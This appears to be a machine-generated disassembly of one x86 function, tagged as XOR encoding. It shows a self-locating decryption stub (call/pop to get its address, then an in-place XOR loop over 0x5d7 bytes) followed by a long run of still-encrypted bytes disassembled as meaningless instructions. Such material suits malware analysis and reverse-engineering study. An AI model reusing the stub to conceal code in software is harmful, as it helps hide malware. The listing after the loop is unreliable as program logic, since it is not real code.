Function at 0xef639c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xef63a6
pushal
call 0xef63ac
pop ebp
sub ebp, 0x10
sub ebp, 0xaf639c
jmp 0xef63c2
arpl word [edi + 0x4e900], bp
add byte [eax], al
jg 0xef642f
wait
imul edi, dword [eax + 0xaf639c], 3
lds eax, [ecx + 0x4cc0]
add byte [ecx + 0x5d7], bh
mov eax, 0xaf639c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5d7
mov edx, 0xd1226785
xor byte [eax], dl
inc eax
dec ecx
adc byte [eax + 0x49], al
jne 0xef63d9
jmp 0xef63ec
push cs
dec eax
push cs
or al, 0xb9
test dword [ebp + 0x7d440485], eax
test dword [ebp + 0x3d488685], eax
add dword [ebp - 0x52c07a7b], 0xffffff85
test dword [ebp + 0x4d866772], eax
push cs
add al, 0x89
test dword [ebp + 0x8408685], eax
loope 0xef63b6
jns 0xef6423
and dword [ecx + 0x49cdedd5], 0xd7ed85a4
adc cl, byte [eax]
test dword [ecx + ebp*4 + 0x15b0eda1], eax
mov ah, 0xe6
insd dword es:[edi], dx
add byte [ebp - 0x4e937a7b], 0x85
test dword [ebp + 0x79a1e108], eax
or al, 0xa9
mov eax, dword [0xed8d1]
lea eax, [ebp + 0x100e8585]
test dword [ebp - 0x7a7a4e94], eax
test dword [eax], ecx
loope 0xef63da
jns 0xef6447
test eax, 0xed8d1a1
add byte [ebp + 0xe858585], cl
adc byte [ecx + 0xe858585], cl
or byte [ebp + 0x44858585], dl
insb byte es:[edi], dx
xchg dword [edi + eax*4 - 0x337eb8fa], esi
mov al, byte [eax]
jno 0xef64d8
mov dword [ebp + 0x80e8585], eax
xchg ebp, eax
test dword [ebp - 0x7893bb7b], eax
mov ah, 0x87
push es
inc edi
or esp, 0x7a71008a
jp 0xef64da
push cs
test eax, 0xa1e108a1
add dword [edi - 0x77], 0xa1090e85
add dword [ebp - 0x32127a7b], 0xed85a449
xlatb
adc cl, byte [eax]
test dword [ecx + ebp*4 - 0x5e1ef75f], eax
jns 0xef648f
mov dword [ecx - 0x7a7a7f93], esp
test dword [edx + eax*8 - 0x79], ebp
add byte [ebp - 0x3d937a7b], 0x87
xchg dword [ebp - 0x5e1ef77b], eax
jns 0xef64a0
test dword [ebp + 0x79a1e108], eax
or al, 0xa9
mov eax, dword [0x85a1e908]
jp 0xef648c
or cl, ah
mov eax, dword [0xa1a90c79]
or cl, ch
mov eax, dword [0x89f07a85]
jp 0xef648f
test eax, 0xa1e908a1
test dword [edx - 0x10], edi
mov dword [edx - 0x10], edi
lea ebp, [ebp - 9]
test dword [ebp - 0x72c7f17b], eax
test dword [ebp - 0x398bfb7b], eax
push eax
add eax, 4
je 0xef647a
insd dword es:[edi], dx
test dword [ebp + 0x380e8585], 0x8585858d
add al, 0x74
invalid
push eax
add eax, 0xffffffb6
dec esp
mov dh, 0x57
push es
insd dword es:[edi], dx
or ch, 0x8a
add ebx, ecx
test dword [ebp - 0x32f2757b], eax
test dword [ebp - 0x66f11c7b], eax
mov esp, 0x8a6d7e05
add dword [edi + 0x5858585], ebx
jle 0xef6547
test dword [ebp - 0x759381fb], eax
add dword [ebp + eax*4 + 0x4e38585], edx
jle 0xef655f
add eax, 0x18a6c7e
insb byte es:[edi], dx
mov al, byte [ecx]
xchg esp, eax
test dword [ebp + 0x7e04e385], eax
jp 0xef6486
mov al, byte [0x8590018a]
test dword [ebp + 0x7a496cc4], eax
mov al, byte [ecx]
nop
test dword [ebp + 0x496cc485], eax
jp 0xef656b
les ebp, [ecx + ecx*2 + 0x7a]
jp 0xef656c
jp 0xef649f
lodsb al, byte [esi]
leave
mov esp, 0x80440684
push es
insd dword es:[edi], dx
sub dword [eax + edi + 0x7a], 0xd1ac7a7a
mov esp, 0x83440687
push es
outsd dx, dword [esi]
add dword [esi], 0x2e6c806d
jp 0xef658c
jp 0xef64ec
inc edi
mov dword [ebp - 0x2c96f130], eax
rcl al, cl
push cs
invalid
push edi
mov al, byte [esi]
pop ebp
jp 0xef65c7
jp 0xef64d6
push edi
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
xchg edi, eax
push edi
mov al, byte [esi]
out dx, eax
test dword [ebp - 0x78ba497b], eax
push edi
test dword [ebp + 0x578745b6], eax
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
setae bl
xchg ebx, eax
ret
xchg edi, eax
push edi
mov al, byte [esi]
scasd eax, dword es:[edi]
test byte [ebp - 0x75a8787b], al
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
test dword [edi], ecx
xchg ebx, eax
ret
cmc
jp 0xef6644
jp 0xef6609
test byte [ebp + 0x57878585], al
mov al, byte [eax]
add byte [ebp - 0x6cf07a7b], 0xc3
xchg edi, eax
push edi
xchg esi, eax
inc ebp
xchg dword [edi - 0x76], edx
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
test dword [ebp - 0x3c6cf07b], eax
xchg edi, eax
push edi
xchg esi, eax
dec esp
xchg dword [edi - 0x76], edx
add byte [eax + 0xf858585], al
xchg ebx, eax
ret
add byte [eax + 0xf858585], al
xchg ebx, eax
ret